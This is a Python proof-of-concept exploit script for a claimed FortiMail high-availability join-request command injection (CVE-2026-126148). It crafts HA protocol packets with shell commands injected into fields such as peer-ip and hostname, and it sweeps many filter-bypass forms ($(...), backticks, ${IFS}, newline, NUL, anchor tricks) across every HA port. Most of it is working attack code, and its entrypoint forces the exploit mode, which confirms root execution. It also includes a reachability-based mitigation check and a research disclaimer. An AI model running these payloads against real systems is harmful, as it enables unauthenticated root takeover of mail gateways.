#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-126148 (see README for attribution/license)
"""
CVE-2026-126148 -- FortiMail high-availability cluster join-request OS command
injection (Fortinet PSIRT FG-IR-26-200, CWE-78, CVSS 9.8).

The PoC speaks the modelled FortiMail HA join-request protocol against the HA
listener of a FortiMail model and observes, from outside the container, whether the
attacker-supplied peer identity reached a shell.

Modelled packet
---------------
    header : b"FMLHA" | version(1) | message type(1) | payload length(2, big endian)
    payload: five length-prefixed fields, in this order:
             cluster-id, serial, hostname, peer-ip, admin-digest
             each field is uint16 big-endian length followed by that many raw bytes

    TCP framing: 4-byte big-endian length prefix + packet
    UDP         : one datagram = one packet

Modes
-----
    check       classification: a benign join request, then a join request with an
                injected field.  Exit 1 when the injected command executed.
    exploit     the full chain; reads the shared volume for the marker file, verifies
                the per-run token and uid=0(root), and reports the confirmed impact.
    probe       the sibling-field / sibling-surface / payload-form matrix.
    mitigation  Fortinet publishes no workaround for FG-IR-26-200.  The mitigation
                that actually takes effect -- keeping the FortiMail HA port range
                (20000-20005, 20010-20014) off untrusted networks -- is tested by
                attempting the join request against a target whose HA listener is not
                reachable: the packet never reaches the daemon.
    0day       the full sweep, including the residual analysis of the patched line.

Exit codes
----------
    0  safe / no injection observed
    1  vulnerable / confirmed impact
    2  target unreachable (name resolution or routing failure)
    3  primitive confirmed but the gadget (the marker) could not be read
    4  no listener on the target port
"""

import argparse
import json
import os
import re
import secrets
import socket
import struct
import sys
import time

# ------------------------------------------------------------------------- config

RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
CMD_LOG = os.path.join(RESULTS, "ha-command-log.txt")
REJECT_LOG = os.path.join(RESULTS, "ha-reject-log.txt")
EVENT_LOG = os.path.join(RESULTS, "ha-events.jsonl")
HELPER_LOG = os.path.join(RESULTS, "ha-helper-argv.jsonl")

DEFAULT_TARGET = os.environ.get("FML_TARGET", "fortimail-ha-vuln:20005")

EXIT_SAFE = 0
EXIT_VULNERABLE = 1
EXIT_UNREACHABLE = 2
EXIT_PRIMITIVE = 3
EXIT_NO_LISTENER = 4

MAGIC = b"FMLHA"
PROTO_VERSION = 0x01

MSG_JOIN = 0x01
MSG_GROUP_JOIN = 0x02
MSG_SYNC_CONTROL = 0x03
MSG_FILE_SYNC = 0x04
MSG_DATA_SYNC = 0x05
MSG_CHECKSUM_SYNC = 0x06
MSG_HEARTBEAT = 0x07

FIELDS = ["cluster-id", "serial", "hostname", "peer-ip", "admin-digest"]

# The FortiMail HA port map.  The offset is relative to the base port 20000.
PORT_MAP = [
    (20000, "heartbeat", ("udp", "tcp"), MSG_HEARTBEAT),
    (20001, "sync-control", ("udp", "tcp"), MSG_SYNC_CONTROL),
    (20002, "file-sync", ("tcp",), MSG_FILE_SYNC),
    (20003, "data-sync", ("tcp",), MSG_DATA_SYNC),
    (20004, "checksum-sync", ("tcp",), MSG_CHECKSUM_SYNC),
    (20005, "cluster-join", ("udp", "tcp"), MSG_JOIN),
    (20010, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20011, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20012, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20013, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20014, "group-mode", ("udp", "tcp"), MSG_JOIN),
]

# The field each role's command line ends with.  Injecting there keeps the injected
# command free of trailing tokens from the enclosing command line.
SURFACE_FIELD = {
    MSG_JOIN: "peer-ip",
    MSG_GROUP_JOIN: "serial",
    MSG_SYNC_CONTROL: "cluster-id",
    MSG_FILE_SYNC: "hostname",
    MSG_DATA_SYNC: "serial",
    MSG_CHECKSUM_SYNC: "cluster-id",
}

# The fields every command-building role consumes.  A field that is not on this list
# never reaches a command line.
ROLE_FIELDS = {
    MSG_JOIN: ["cluster-id", "serial", "hostname", "peer-ip"],
    MSG_GROUP_JOIN: ["cluster-id", "hostname", "peer-ip", "serial"],
    MSG_SYNC_CONTROL: ["peer-ip", "cluster-id"],
    MSG_FILE_SYNC: ["peer-ip", "hostname"],
    MSG_DATA_SYNC: ["peer-ip", "serial"],
    MSG_CHECKSUM_SYNC: ["peer-ip", "cluster-id"],
}

# Which message types each HA role accepts.
ROLE_TYPES = {
    "heartbeat": [MSG_HEARTBEAT],
    "sync-control": [MSG_SYNC_CONTROL],
    "file-sync": [MSG_FILE_SYNC],
    "data-sync": [MSG_DATA_SYNC],
    "checksum-sync": [MSG_CHECKSUM_SYNC],
    "cluster-join": [MSG_JOIN, MSG_GROUP_JOIN],
    "group-mode": [MSG_JOIN, MSG_GROUP_JOIN],
}


# ------------------------------------------------------------------------ helpers


def now():
    return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())


def split_target(target):
    host, sep, port = target.rpartition(":")
    if not sep:
        return target, 20005
    try:
        return host, int(port)
    except ValueError:
        return host, 20005


def marker_path(token):
    return os.path.join(MARKER_DIR, "%s.txt" % token)


def read_marker(token):
    try:
        with open(marker_path(token), encoding="utf-8", errors="replace") as fh:
            return fh.read()
    except OSError:
        return None


def read_log(path):
    try:
        with open(path, encoding="utf-8", errors="replace") as fh:
            return fh.read().splitlines()
    except OSError:
        return []


# ------------------------------------------------------------------ packet format


def build_packet(msg_type, fields, version=PROTO_VERSION):
    """Assemble a modelled FortiMail HA packet (see the module docstring)."""
    payload = b""
    for name in FIELDS:
        v = fields.get(name, b"")
        if isinstance(v, str):
            v = v.encode("latin-1", "replace")
        payload += struct.pack(">H", len(v)) + v
    return (MAGIC
            + bytes([version & 0xFF, msg_type & 0xFF])
            + struct.pack(">H", len(payload))
            + payload)


def parse_reply(data):
    if not data or len(data) < 11 or data[:5] != MAGIC:
        return None
    status = data[9]
    digest_ok = bool(data[10])
    return {
        "status": status,
        "digest_ok": digest_ok,
        "message": data[11:].decode("utf-8", "replace"),
    }


# ----------------------------------------------------------------------- transport


def recv_exact(sock, n):
    buf = b""
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf


def tcp_exchange(host, port, packet, timeout=6.0):
    s = socket.create_connection((host, port), timeout=timeout)
    try:
        s.settimeout(timeout)
        s.sendall(struct.pack(">I", len(packet)) + packet)
        hdr = recv_exact(s, 4)
        if hdr is None:
            return None
        n = struct.unpack(">I", hdr)[0]
        if n == 0 or n > 65535:
            return None
        return recv_exact(s, n)
    finally:
        s.close()


def udp_exchange(host, port, packet, timeout=4.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(timeout)
    try:
        s.sendto(packet, (host, port))
        data, _ = s.recvfrom(65535)
        return data
    finally:
        s.close()


def probe_listener(host, port, timeout=5.0):
    """Classify the target port.

    Returns one of 'present', 'closed' (nothing listens) or 'unreachable'.
    """
    try:
        s = socket.create_connection((host, port), timeout=timeout)
        s.close()
        return "present", "tcp connect to %s:%d succeeded" % (host, port)
    except ConnectionRefusedError as exc:
        return "closed", "connection refused: %s" % (exc,)
    except socket.gaierror as exc:
        return "unreachable", "name resolution failed: %s" % (exc,)
    except socket.timeout:
        return "unreachable", "connection to %s:%d timed out" % (host, port)
    except OSError as exc:
        return "unreachable", "%s" % (exc,)


def send_packet(host, port, transport, packet):
    """Send one packet.  Returns (reply_dict_or_None, transport_error_or_None)."""
    try:
        if transport == "tcp":
            raw = tcp_exchange(host, port, packet)
        else:
            raw = udp_exchange(host, port, packet)
    except ConnectionRefusedError as exc:
        return None, "connection refused: %s" % (exc,)
    except socket.timeout:
        return None, "timeout"
    except OSError as exc:
        return None, "%s" % (exc,)
    return parse_reply(raw), None


# ----------------------------------------------------------------------- payloads


def canonical_payload(token):
    """The payload used by `check` and `exploit`.

    It writes a marker file whose content carries both uid=0(root) and the per-run
    token, so the execution is attributed to this packet and not to a leftover.
    """
    p = marker_path(token)
    return "id>%s 2>&1; echo token=%s >>%s" % (p, token, p)


def payload_variants(token):
    """The syntactic forms of the injection that the sweep exercises."""
    p = marker_path(token)
    write = "id>%s 2>&1" % p
    tok = "echo token=%s >>%s" % (token, p)
    return [
        ("semicolon", "x; %s; %s" % (write, tok)),
        ("command-substitution", "x$(%s; %s)" % (write, tok)),
        ("backtick", "x`%s; %s`" % (write, tok)),
        # ${IFS} substitutes for the whitespace that terminates the command word,
        # so a filter that only blocks literal spaces does not stop it.
        ("ifs-expansion", "x;id${IFS}>%s 2>&1" % p),
        ("newline", "x\n%s\n%s" % (write, tok)),
        ("crlf", "x\r\n%s\n%s" % (write, tok)),
        ("nul-byte", "x\x00%s" % write),
        # 64 valid characters, then a newline, then the command: the classic way to
        # defeat a character-set validator that anchors with '$' instead of a full
        # match.
        ("trailing-newline-anchor", "A" * 64 + "\n%s" % write),
        ("oversized", "x" + "A" * 4096 + "; " + write),
        ("metacharacters", "x; %s #;|&$(){}[]*?!~'\"=+@/<>" % write),
    ]


def benign_fields():
    return {
        "cluster-id": b"cluster-01",
        "serial": b"FG100FT0000000001",
        "hostname": b"mail-node-01",
        "peer-ip": b"10.10.10.11",
        "admin-digest": b"0" * 64,
    }


# -------------------------------------------------------------------- the probes


def inject(fields, field, value):
    out = dict(fields)
    out[field] = value.encode("latin-1", "replace") if isinstance(value, str) else value
    return out


def run_case(host, port, transport, msg_type, fields, token, label, group):
    """Send one packet and report whether the injected command executed."""
    # A leftover marker from an earlier case must not be mistaken for a new execution.
    try:
        os.unlink(marker_path(token))
    except OSError:
        pass
    packet = build_packet(msg_type, fields)
    reply, err = send_packet(host, port, transport, packet)
    content = read_marker(token)
    executed = content is not None
    return {
        "group": group,
        "label": label,
        "port": port,
        "transport": transport,
        "message_type": "0x%02x" % msg_type,
        "executed": executed,
        "marker": marker_path(token) if executed else None,
        "marker_content": (content or "").strip() if executed else None,
        "reply": reply,
        "transport_error": err,
    }


def probe_matrix(host, port):
    """The sibling-field, payload-form, sibling-surface and protocol matrix."""
    cases = []
    base = benign_fields()

    # ---- 1. sibling fields of the join request
    for field in FIELDS:
        token = secrets.token_hex(8)
        fields = inject(base, field, "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, "tcp", MSG_JOIN, fields, token,
                              "field:%s" % field, "join-fields"))

    # ---- 2. syntactic forms of the injection
    for name, template in payload_variants("PLACEHOLDER"):
        token = secrets.token_hex(8)
        value = template.replace("PLACEHOLDER", token)
        fields = inject(base, "peer-ip", value)
        cases.append(run_case(host, port, "tcp", MSG_JOIN, fields, token,
                              "form:%s" % name, "payload-forms"))

    # ---- 3. sibling HA surfaces: every message type every role accepts, every field
    #         that message type consumes, over every transport the role offers.
    for sport, role, transports, _default_type in PORT_MAP:
        for transport in transports:
            for msg_type in ROLE_TYPES.get(role, []):
                fields_used = ROLE_FIELDS.get(msg_type, [])
                if not fields_used:
                    # The heartbeat role builds no command line; send a benign packet.
                    cases.append(run_case(host, sport, transport, msg_type, dict(base),
                                          secrets.token_hex(8),
                                          "surface:%s:%s:0x%02x" % (role, sport, msg_type),
                                          "ha-surfaces"))
                    continue
                for field in fields_used:
                    token = secrets.token_hex(8)
                    fields = inject(base, field, "x$(%s)" % canonical_payload(token))
                    cases.append(run_case(host, sport, transport, msg_type, fields, token,
                                          "surface:%s:%s:0x%02x:%s" % (role, sport, msg_type, field),
                                          "ha-surfaces"))

    # ---- 4. protocol edge cases against the join listener
    token = secrets.token_hex(8)
    fields = inject(base, "hostname", "x$(%s)" % canonical_payload(token))
    packet = build_packet(MSG_JOIN, fields)

    edge = []
    edge.append(("bad-magic", b"XXXXX" + packet[5:]))
    edge.append(("bad-version", build_packet(MSG_JOIN, fields, version=0x02)))
    edge.append(("truncated-packet", packet[:-4]))
    edge.append(("truncated-field", packet[:14]))
    over = dict(base)
    over["hostname"] = b"A" * 9000
    edge.append(("oversized-payload", build_packet(MSG_JOIN, over)))
    wrong = dict(base)
    wrong["hostname"] = ("x$(%s)" % canonical_payload(token)).encode()
    edge.append(("wrong-message-type", build_packet(MSG_HEARTBEAT, wrong)))

    for name, pk in edge:
        tok = secrets.token_hex(8)
        try:
            os.unlink(marker_path(tok))
        except OSError:
            pass
        reply, err = send_packet(host, port, "tcp", pk)
        content = read_marker(tok)
        cases.append({
            "group": "protocol-edge",
            "label": name,
            "port": port,
            "transport": "tcp",
            "message_type": "-",
            "executed": content is not None,
            "marker": marker_path(tok) if content is not None else None,
            "marker_content": (content or "").strip() if content is not None else None,
            "reply": reply,
            "transport_error": err,
        })

    return cases


def residual_checks(host, port):
    """Checks that do not need an injection to fire.

    * unauthenticated peer addition: a join request with a valid character set but a
      wrong cluster digest still makes the daemon run the peer-registration command,
      because the digest is compared only after the command has been executed.
    """
    out = []

    before = len(read_log(CMD_LOG))
    token = secrets.token_hex(8)
    fields = benign_fields()
    fields["admin-digest"] = b"f" * 64            # deliberately wrong digest
    reply, err = send_packet(host, port, "tcp", build_packet(MSG_JOIN, fields))
    after = read_log(CMD_LOG)
    grew = len(after) > before
    entry = after[-1] if grew else None
    out.append({
        "check": "unauthenticated-peer-addition",
        "description": "join request with a valid character set and a wrong cluster digest",
        "command_log_grew": grew,
        "digest_ok": (reply or {}).get("digest_ok"),
        "reply": reply,
        "transport_error": err,
        "command_log_entry": entry,
        "peer_ip_injected": "10.10.10.11",
        "token": token,
    })
    return out


# ------------------------------------------------------------------------- modes


def mode_check(host, port, transports):
    """Classification.

    A benign join request is sent first, then join requests with an injected field.
    Two slots are exercised: `hostname` and `peer-ip`.  The patched model refuses
    both; the partial-remediation shape refuses only `hostname`, which is exactly
    where its residual shows.
    """
    base = benign_fields()

    benign_token = secrets.token_hex(8)
    benign = run_case(host, port, transports[0], MSG_JOIN, dict(base), benign_token,
                      "benign", "baseline")

    cases = []
    for field in ("hostname", "peer-ip"):
        token = secrets.token_hex(8)
        fields = inject(base, field, "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, transports[0], MSG_JOIN, fields, token,
                              "injected-%s" % field, "injection"))

    for transport in transports[1:]:
        token = secrets.token_hex(8)
        fields = inject(base, "hostname", "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, transport, MSG_JOIN, fields, token,
                              "injected-hostname:%s" % transport, "injection"))

    executed_fields = [c["label"] for c in cases if c["executed"]]
    executed = bool(executed_fields)
    summary = {
        "mode": "check",
        "target": "%s:%d" % (host, port),
        "transports": transports,
        "benign_reply": benign["reply"],
        "benign_accepted": bool(benign["reply"] and benign["reply"]["status"] == 0x00),
        "injected_executed": executed,
        "executed_slots": executed_fields,
        "safe_slots": [c["label"] for c in cases if not c["executed"]],
        "marker_content": next((c["marker_content"] for c in cases if c["executed"]), None),
        "verdict": "VULNERABLE" if executed else "SAFE",
        "ts": now(),
    }
    return {
        "summary": summary,
        "cases": [benign] + cases,
        "exit_code": EXIT_VULNERABLE if executed else EXIT_SAFE,
    }


def mode_exploit(host, port, transports, field=None):
    """The full chain.

    The injected field defaults to `hostname`; when the operator does not pin one,
    every injection slot of the join request is tried in a fixed order, so the mode
    reports the slot that reached the sink.
    """
    slots = [field] if field else ["hostname", "peer-ip"]
    base = benign_fields()

    cases = []
    tokens = {}
    for slot in slots:
        for transport in transports:
            token = secrets.token_hex(8)
            tokens["%s:%s" % (slot, transport)] = token
            fields = inject(base, slot, "x$(%s)" % canonical_payload(token))
            cases.append(run_case(host, port, transport, MSG_JOIN, fields, token,
                                  "exploit:%s:%s" % (slot, transport), "exploit"))

    confirmed = []
    for key, token in tokens.items():
        content = read_marker(token)
        if content and "uid=0(root)" in content and token in content:
            confirmed.append(key)

    ran = any(c["executed"] for c in cases)
    primary_key = "%s:%s" % (slots[0], transports[0])
    content = read_marker(tokens.get(primary_key, ""))
    cmd_entries = [l for l in read_log(CMD_LOG) if "fml_ha peer add" in l]
    helper = [l for l in read_log(HELPER_LOG) if "peer" in l]

    summary = {
        "mode": "exploit",
        "target": "%s:%d" % (host, port),
        "transports": transports,
        "slots_tried": slots,
        "tokens": tokens,
        "marker_path": marker_path(tokens.get(primary_key, "")),
        "marker_present": content is not None,
        "marker_content": (content or "").strip(),
        "confirmed": confirmed,
        "confirmed_transports": sorted({k.split(":", 1)[1] for k in confirmed}),
        "confirmed_slots": sorted({k.split(":", 1)[0] for k in confirmed}),
        "uid_root_confirmed": bool(content and "uid=0(root)" in content),
        "command_ran": ran,
        "impact": ("unauthenticated remote command execution as uid=0(root) in the "
                   "FortiMail HA daemon, through the cluster join-request listener"
                   if confirmed else "not confirmed"),
        "ts": now(),
    }

    if confirmed:
        rc = EXIT_VULNERABLE
    elif ran:
        rc = EXIT_PRIMITIVE
    else:
        rc = EXIT_SAFE
    return {
        "summary": summary,
        "cases": cases,
        "command_log": cmd_entries[-3:],
        "helper_argv_log": helper[-3:],
        "exit_code": rc,
    }


def compact_matrix(cases):
    """One compact line per case, so the sweep stays readable in the evidence."""
    lines = []
    for c in cases:
        reply = c.get("reply") or {}
        lines.append("%-14s %-46s port=%-6d %-4s msg=%-5s executed=%-5s status=%s %s" % (
            c["group"], c["label"], c["port"], c["transport"], c["message_type"],
            c["executed"], reply.get("status", "-"),
            (reply.get("message") or c.get("transport_error") or "")))
    return lines


def mode_probe(host, port):
    cases = probe_matrix(host, port)
    findings = [c for c in cases if c["executed"]]
    summary = {
        "mode": "probe",
        "target": "%s:%d" % (host, port),
        "cases": len(cases),
        "executions": len(findings),
        "execution_labels": [c["label"] for c in findings],
        "groups": sorted({c["group"] for c in cases}),
        "verdict": "FINDINGS" if findings else "CLEAN",
        "ts": now(),
    }
    return {
        "summary": summary,
        "matrix": compact_matrix(cases),
        "cases": findings,
        "exit_code": EXIT_VULNERABLE if findings else EXIT_SAFE,
    }


def mode_0day(host, port):
    cases = probe_matrix(host, port)
    residual = residual_checks(host, port)
    findings = [c for c in cases if c["executed"]]
    summary = {
        "mode": "0day",
        "target": "%s:%d" % (host, port),
        "cases": len(cases),
        "injection_findings": len(findings),
        "injection_labels": [c["label"] for c in findings],
        "residual_findings": [r["check"] for r in residual if r["command_log_grew"]],
        "verdict": "FINDINGS" if findings else "CLEAN",
        "ts": now(),
    }
    return {
        "summary": summary,
        "matrix": compact_matrix(cases),
        "cases": findings,
        "residual": residual,
        "exit_code": EXIT_VULNERABLE if findings else EXIT_SAFE,
    }


def mode_mitigation(host, port):
    state, detail = probe_listener(host, port)
    summary = {
        "mode": "mitigation",
        "target": "%s:%d" % (host, port),
        "published_workaround": None,
        "vendor_statement": ("Fortinet publishes no workaround for FG-IR-26-200 / "
                             "CVE-2026-126148; the only published remediation is the "
                             "fixed release (FortiMail 8.0.2 or 7.6.7)."),
        "effective_mitigation": ("keep the FortiMail HA port range (20000-20005, "
                                 "20010-20014) off untrusted networks: no route to the "
                                 "HA listeners means the join-request packet never "
                                 "reaches the daemon and nothing is executed"),
        "listener_state": state,
        "listener_detail": detail,
        "ts": now(),
    }

    if state == "unreachable":
        summary["verdict"] = "MITIGATED (target unreachable: the packet never reaches the daemon)"
        summary["packet_delivered"] = False
        return {"summary": summary, "exit_code": EXIT_UNREACHABLE}

    if state == "closed":
        summary["verdict"] = "MITIGATED (no listener: the packet never reaches the daemon)"
        summary["packet_delivered"] = False
        return {"summary": summary, "exit_code": EXIT_NO_LISTENER}

    # The listener answers: the mitigation is not in effect on this path.
    token = secrets.token_hex(8)
    fields = inject(benign_fields(), "hostname", "x$(%s)" % canonical_payload(token))
    reply, err = send_packet(host, port, "tcp", build_packet(MSG_JOIN, fields))
    content = read_marker(token)
    executed = content is not None
    summary["packet_delivered"] = True
    summary["injected_executed"] = executed
    summary["marker_content"] = (content or "").strip() if executed else None
    summary["reply"] = reply
    summary["transport_error"] = err
    if executed:
        summary["verdict"] = "NOT MITIGATED (the HA listener is exposed and the injection executed)"
        return {"summary": summary, "exit_code": EXIT_VULNERABLE}
    summary["verdict"] = "SAFE (the daemon refused the injected field)"
    return {"summary": summary, "exit_code": EXIT_SAFE}


# -------------------------------------------------------------------------- main


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-126148 FortiMail HA join-request PoC")
    ap.add_argument("mode", nargs="?", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"])
    ap.add_argument("--mode", dest="mode_opt", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"])
    ap.add_argument("--target", default=DEFAULT_TARGET,
                    help="host:port of the FortiMail HA listener (default: %s)" % DEFAULT_TARGET)
    ap.add_argument("--transport", default="both", choices=["tcp", "udp", "both"])
    ap.add_argument("--field", default=None, choices=FIELDS,
                    help="pin the injection to one field of the join request")
    ap.add_argument("--out", default=None, help="write the JSON result to this file")
    args = ap.parse_args()

    mode = args.mode_opt or args.mode or "check"
    host, port = split_target(args.target)
    transports = ["tcp", "udp"] if args.transport == "both" else [args.transport]

    try:
        os.makedirs(MARKER_DIR, exist_ok=True)
    except OSError:
        pass

    # The HA listener is a TCP listener as well as a UDP one on every port that
    # carries HA traffic, so the TCP connect is the reachability probe.  The
    # mitigation mode does its own probing, because the unreachability of the
    # listener is the result it has to report.
    state, detail = probe_listener(host, port)
    if state != "present" and mode != "mitigation":
        summary = {
            "mode": mode,
            "target": "%s:%d" % (host, port),
            "listener_state": state,
            "listener_detail": detail,
            "verdict": "TARGET NOT REACHABLE",
            "ts": now(),
        }
        out = {"summary": summary}
        rc = EXIT_UNREACHABLE if state == "unreachable" else EXIT_NO_LISTENER
        out["exit_code"] = rc
        text = json.dumps(out, indent=2, default=str)
        print(text)
        if args.out:
            with open(args.out, "w", encoding="utf-8") as fh:
                fh.write(text)
        print("target %s:%d: %s (%s)" % (host, port, state, detail), file=sys.stderr)
        return rc

    if mode == "check":
        result = mode_check(host, port, transports)
    elif mode == "exploit":
        result = mode_exploit(host, port, transports, field=args.field)
    elif mode == "probe":
        result = mode_probe(host, port)
    elif mode == "mitigation":
        result = mode_mitigation(host, port)
    else:
        result = mode_0day(host, port)

    out = {"summary": result["summary"]}
    for key in ("matrix", "cases", "residual", "command_log", "helper_argv_log"):
        if key in result:
            out[key] = result[key]
    out["exit_code"] = result["exit_code"]

    text = json.dumps(out, indent=2, default=str)
    print(text)
    if args.out:
        with open(args.out, "w", encoding="utf-8") as fh:
            fh.write(text)
    return result["exit_code"]




# Standalone full-chain exploit entrypoint. This file is self-contained:
# no imports from the PoC package; it forces the same repo's exploit mode.
def _standalone_exploit():
    _modes = {"check", "exploit", "probe", "mitigation"}
    _argv = [a for a in sys.argv[1:] if a not in _modes]
    sys.argv = [sys.argv[0], "exploit"] + _argv
    return main()


if __name__ == "__main__":
    sys.exit(_standalone_exploit())
